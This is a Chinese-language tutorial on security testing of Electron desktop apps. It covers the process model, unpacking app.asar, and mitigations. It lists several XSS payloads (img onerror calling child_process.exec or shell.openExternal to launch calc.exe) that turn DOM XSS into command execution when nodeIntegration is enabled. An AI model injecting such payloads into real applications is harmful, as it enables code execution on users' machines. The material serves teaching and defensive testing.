Electron框架应用的安全测试

0.Electron相关简介

electron.js是一个运行时框架，它在设计之初就结合了当今最好的Web技术，核心是使用HTML、CSS、JavaScript构建跨平台的桌面应用。
作为一个跨平台的“集成框架”，它能轻松和多平台兼容。而所谓的“集成框架”也就是它将“Chromium”和“Node.js”很好的集成，并明确分工。
Electron负责硬件部分，“Chromium”和“Node.js”负责界面与逻辑，共同构成了成本低廉却高效的解决方案。
比如流行的VS Code,WhatsApp,WordPress等应用都是使用了electron框架来构建跨平台开发
特点如下：
1.摆脱了不同浏览器之间的差异和版本的限制
2.基于Node.js,有活跃的贡献者社区管理和第三方丰富的包支持
3.可以开发跨平台的桌面应用。只需要写一份代码，可以构建出三个平台的应用程序

a.优势

1.摆脱浏览器的沙盒机制，可以访问操作系统层面的东西。
2.跨平台，前端人员能在不学习其他语言的情况下，快速构建跨平台，带来统一的用户体验

b.劣势

1.打包的APP太大，简单的应用多大几十兆

2.引入Node.js的API具备接触系统底层的能力，控制不当易引发安全风险，直接从对浏览器的影响提升为对系统的影响。

1.与传统Web开发的区别与联系

​ 回顾以前的web开发，无论是HTML、CSS还是Java，都是运行在浏览器沙盒中的，无法越过浏览器的权限访问系统本身的资源，代码的能力被限制在了浏览器中。浏览器之所以这么做，为了安全的考虑。设想一下，使用浏览器的时候，会打开各样不同的网站，如果代码有能力访问并操作本地操作系统的资源，那将是可怕的事情。

​ 但开发桌面应用程序，如果无法访问到本地的资源肯定是不行的。

​ 而使用Electron架构的应用程序分成三个基础模块：主进程、渲染进程、进程间通信；

​ Electron将nodejs引入并作为主进程，可以访问和操作本地资源，使用原本在浏览器中不提供的高级API。同时主进程负责管理整个应用程序的生命周期以及所有渲染进程的创建和销毁。 在主进程中运行的脚本通过创建web页面来展示用户界面。它内置了完整的Node.js API，主要用于打开对话框以及创建渲染进程。此外，主进程还负责处理与其他操作系统交互、启动和退出应用程序。

​ 渲染进程是应用程序中的浏览器窗口。与主进程不同，Electron可以有许多渲染进程，且每个进程都是独立的。由于 Electron 使用了 Chromium 来展示 web 页面，所以 Chromium 的多进程架构也被使用到。 每个Electron 中的 web 页面运行在它自己的渲染进程中。正是因为每个渲染进程都是独立的，因此一个崩溃不会影响另外一个，这些要归功于Chromium的多进程架构。

2.对electron解包的一般思路

​ 在Electron项目开发中，resource\目录下的代码文件默认是明文可见的，如果没有对项目封装打包，就可以进行白盒审计，发现更多的问题，而如果只是使用npm执行asar对app.asar文件(resources目录里)合并归档，则会很容易被解包。而对Electron源码保护方案讨论由来已久。官方并没有打算提供解决方案。作者们认为，无论用什么形式去加密打包文件，密钥总归是需要放在包里。

​ 因为asar只是对源码的合并归档，并不提供加密之类的操作。 通过asar e的命令，可以很简单地进行解压和得到源码。

//1.安装npm
//2.全局安装 asar
npm install asar -g
//3.解包
用asar命令解包：asar e app.asar app

3.DOM-Based XSS--->RCE

1. 由于electron框架开发出的应用，不只是一个浏览器。在Web浏览器中，基于安全策略考虑，web页面通常是在一个沙盒环境中运行的，不被允许去接触原生的资源。

   然而在Electron中，允许页面（渲染进程）调用Node.js的API，原生具备操控系统底层的能力，所以页面可以与操作系统底层进行交互，如执行系统命令，那么DOM Based-XSS在electron就会提升为RCE，直接从对浏览器的影响提升为对系统的影响。

Electron是基于Chromium的内容模块实现的，但是从本质上来说它就不是一个浏览器。它可以给开发人员提供非常强大的功能，而且Electron的灵活性也可以有助于构建复杂的桌面应用程序。
所以，实际上Electron整合了Node.js，所以JavaScript可以直接访问操作系统并完全利用原生的桌面机制。

​ 如：假设在使用electron开发的应用中发现某处DOM based XSS，那么直接就可以提升为RCE，如下

//要利用electron的xss，只需要引入nodejs自带的命令执行模块child_process即可
//Electron框架，Dom XSS->RCE，比如弹计算器

<img src="" onerror="require('child_process').exec('calc.exe')">
<img src=1 onerror=require('child_process').exec('calc.exe')>
<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
<img src=# onerror="require('child_process').exec('calc.exe',null);">
<img src=# onerror="require('electron').shell.openExternal('file:C:/Windows/System32/calc.exe')">

5.漏洞原理

应用开发使用了Electron框架，且nodeIntegration默认值为True，说明开启了Node.js扩展，那就能够调用node.js模块从XSS到RCE， 只要不进行严格的过滤，就会造成rce

<img src=1 onerror="require('child_process').exec('calc.exe')">

注意：

Electron中使用了一个标记nodeIntegration用来控制页面对node的API的访问，只有nodeIntegration为true的时候，才可以使用如require，process这样的node API去访问系统底层资源。

5.修复方案

1. 使用 DOMPurify 过滤 XSS Payload，或者 React JSX；
2. 谨慎开启nodeIntegration参数，如果开启一定要对用户可控输入点做好充分的过滤，如特殊字符实体编码。
   可参考：https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content 
3.可使用webpack类似的前端构建工具，对项目代码进行加密混淆

​ 为了安全性，官方将 electron@v12.0.0 的 contextIsolation 的默认值改了。所以今后要在渲染进程里调用 require 的话，还需要加上 contextIsolation: false 。

6.总结

防御Electron开发程序的逆向，从目前看方案比较有限，混淆后效果也不佳，和传统的二进制逆向相比，逆向难度不会太大。所以，electron比较适合拥抱开源生态的开发者，不适合个人及企业对保护源代码，保护自身的专利技术及知识产权的应用开发。